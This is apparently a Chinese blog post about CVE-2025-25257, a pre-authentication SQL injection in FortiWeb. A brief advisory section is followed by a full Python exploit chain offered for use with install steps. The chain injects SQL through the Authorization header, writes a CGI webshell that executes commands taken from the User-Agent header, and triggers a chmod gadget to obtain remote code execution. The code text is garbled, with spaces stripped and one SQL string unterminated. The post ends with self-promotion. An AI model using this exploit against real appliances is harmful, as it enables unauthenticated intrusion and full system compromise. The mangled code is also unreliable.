CVE-2025-25257 — FortiWeb 严重 SQL 注入漏洞 🔥
🧠 漏洞概述:
- 漏洞类型: 无需认证的SQL 注入
- 受影响组件: FortiWeb GUI / Fabric Connector API
- CVSS 评分:9.6 – 9.8 (严重)
- CWE: CWE-89 – SQL命令中特殊元素的不当处理
- 发现与修复: 2025年7月
- 利用状态: 已有公开的概念验证(PoC);预计会被利用
--------- | :-------------- | :---------------- |
| 7.6 | 7.6.0 至 7.6.3 | 7.6.4 或更高 |
| 7.4 | 7.4.0 至 7.4.7 | 7.4.8 或更高 |
| 7.2 | 7.2.0 至 7.2.10 | 7.2.11 或更高 |
| 7.0 | 7.0.0 至 7.0.10 | 7.0.11 或更高 |
🔐 风险:
- 攻击向量: 远程,无需认证
- 影响: 完全访问 FortiWeb 后端数据库,可能导致系统沦陷
- 威胁等级:严重—— 尤其因为 FortiWeb 是一款安全设备
安装指南
系统要求:
- Python 3.x
- 能够访问目标 FortiWeb 设备的管理界面。
依赖安装:
- 脚本主要依赖
requests库。 - 可通过以下命令安装所需依赖:
pipinstallrequests- 脚本主要依赖
平台相关说明:
- 脚本兼容Windows、Linux和macOS。
- 由于涉及HTTPS请求,可能会遇到证书警告,脚本已默认禁用SSL验证警告,但实际使用时应谨慎评估安全风险。
核心代码
以下展示了项目的核心实现代码及注释:
1. SQL注入基础类
该类封装了核心的SQL注入功能。
#!/usr/bin/env python3importargparseimportbinasciifromurllib.parseimporturljoinimportrequestsimporturllib3 urllib3.disable_warnings()# 禁用SSL警告classSQLInjection:def__init__(self,target:str):self._target=target self._buggy_api='/api/fabric/device/status'# 存在漏洞的API端点returndefinject_sql(self,injection:str)->bool:rc=False# 构造恶意的Authorization头部,将SQL注入载荷附加在Bearer令牌之后headers={"Authorization":f"Bearer ';{injection}"# 闭合原SQL语句,注入新语句}dst_url=urljoin(self._target,self._buggy_api)try:r=requests.get(dst_url,headers=headers,verify=False)# 发送请求rc=r.status_code==401# 特定响应状态码表明注入成功(或至少被处理)exceptExceptionase:rc=Falseprint('Sending Request Failed: '+e)returnrc2. 远程代码执行类
该类继承自SQLInjection,实现了从SQL注入到写入文件、执行命令的完整攻击链。
classRCE(SQLInjection):def__init__(self,target:str):super().__init__(target)self._target=target self._buggy_api='/api/fabric/device/status'self._pyhook_path='/cgi-bin/ml-draw.py'# 用于触发Python脚本执行的端点# 构造一个Python脚本,用于给Webshell添加执行权限并清理自身self._chmod_file=""self._chmod_file+="import os # \r\n"self._chmod_file+="os.system('chmod +x /migadmin/cgi-bin/x.cgi && rm -f /var/log/lib/python3.10/pylab.py') #"# 构造一个简单的CGI WebShell,通过User-Agent头接收并执行命令self._webshell=''self._webshell+='#!/bin/sh -- \r\n'self._webshell+='printf "Content-Type: text/html\\r\\n";printf "\\r\\n";eval $HTTP_USER_AGENT'returndefupload_webshell(self)->bool:# 步骤1: 重置数据库表,确保有干净的环境写入数据self._reset_tables()# 步骤2: 将Webshell内容分段写入数据库的文本字段parts=self._split_payload(self._webshell)forpartinparts:print(f'[*] writing part{part}')# 使用SQL的concat函数将载荷片段拼接到字段值中self.inject_sql(f'use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x{binascii.hexlify(part.encode()).decode()})/**/from/**/a);--')# 步骤3: 将拼接好的完整载荷从数据库导出到Web服务器目录,创建Webshell文件print('[>] writing webshell file')self.inject_sql("select/**/a/**/from/**/fabric_user.a/**/into/**/outfile/**/'/migadmin/cgi-bin/x.cgi'/**/FIELDS/**/ESCAPED/**/BY/**/'';--")# 步骤4: 重复上述过程,写入用于提权(chmod)的Python脚本self._reset_tables()parts=self._split_payload(self._chmod_file)forpartinparts:print(f'[*] writing part{part}')self.inject_sql(f'use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x{binascii.hexlify(part.encode()).decode()})/**/from/**/a);--')print('[>] cooking chmod gadget')self.inject_sql("select/**/a/**/from/**/fabric_user.a/**/into/**/outfile/**/'/var/log/lib/python3.10/pylab.py'/**/FIELDS/**/ESCAPED/**/BY/**/'")# 步骤5: 访问特定端点,触发Python脚本执行,为Webshell添加执行权限print('[*] triggering chmod')returnself._trigger_chmod()3. 工具函数与主程序
这些辅助函数和主程序逻辑完成了漏洞利用的自动化流程。
# 将长载荷分割成小块,以适应数据库操作def_split_payload(self,input_bytes):return[input_bytes[i:i+16]foriinrange(0,len(input_bytes),16)]# 重置用于存储载荷的数据库表def_reset_tables(self):self.inject_sql('drop/**/table/**/fabric_user.a;--')self.inject_sql('create/**/table/**/fabric_user.a/**/(a/**/TEXT);--')self.inject_sql('insert/**/into/**/fabric_user.a/**/values(\'\');--')# 通过访问Webshell执行系统命令defrun_cmd(self,cmd:str)->bytes:rc=b''dst_url=urljoin(self._target,'/cgi-bin/x.cgi')try:# 将要执行的命令放在User-Agent头部,Webshell会读取并执行它r=requests.get(dst_url,verify=False,headers={'User-Agent':cmd})rc=r.contentexceptExceptionase:rc=Falseprint('Sending Request Failed: '+e)returnrcdefmain():parser=argparse.ArgumentParser(prog='exp.py',description='SQLi to RCE primitive',# 程序描述:从SQL注入到RCE的原始利用)parser.add_argument('-t','--target',help='i.e: https://target-host.com/',required=True)args=parser.parse_args()target_host=args.target# 创建RCE利用对象并执行攻击链pew=RCE(target_host)ifpew.upload_webshell():print('[*] executing `id` ...')out=pew.run_cmd('id')print(out.decode())print('[*] webshell available at: ')print(f" >{urljoin(target_host,'/cgi-bin/x.cgi')}"),print('provide command via the `User-Agent` header!)')else:print('[!] prolly failed :(')returnif__name__=='__main__':main()```FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5LZ5wdOrcQltyxhR6MUrwo 更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手) 对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)